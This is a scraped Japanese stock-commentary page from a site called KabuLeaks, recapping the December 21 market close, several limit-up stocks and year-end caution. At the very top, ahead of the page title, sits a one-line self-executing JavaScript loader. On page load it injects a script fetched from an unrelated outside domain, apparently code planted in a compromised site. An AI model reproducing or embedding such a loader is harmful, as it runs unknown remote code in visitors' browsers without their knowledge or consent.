;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/21 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/21 大引け】

本日の日経平均株価は50円安と反落。朝方は前日の米市場の最高値更新などを背景に買いが先行。一巡後はこう着感強い展開が続いたが後場に入りマイナス転換。国内外の機関投資家の売りとの観測などから一時100円超まで下げ幅をを拡大。ただ、終盤かけては根強い押し目買いに下げ渋った。

個別では、直流高電圧でも機能するリレーの新製品を開発したと報じらた【6719】富士通コンポーネントやジャパンインベストメントアドバイザーが8%超保有の大株主に。協業の思惑も浮上している【3747】インタートレードなどがストップ高。また、パナソニックが20日、株式交換で完全子会社化すると発表した【1924】パナホーム、【6860】パナソニック デバイスSUNXが急伸、大幅高に。

その他、インバウンドで好調なホテル事業への経営資源集中するため、音楽ディストリビューション事業売却を発表した【3350】レッド・プラネット・ジャパンが後場急伸したほか、ノロウイルスに対して不活化効果のある「殺ノロウイルス組成物」で特許持ち、ノロウイルス関連で任期の【2611】攝津製油も後場に入り急伸する場面があった。

日経平均は小幅安も個別は銘柄にもよるがそれ以上に下げた印象が強い。これまでいつ崩れても逃げれる準備だけはしておいたほうが良いと促してきたが、クリスマス休暇入りなど、国内外の機関投資家の売り観測報道も。

引き続き年末に向けての利益確定売りに警戒。年内はあまり無理をせずコツコツと値幅取り中心のスタンスが無難かと思う。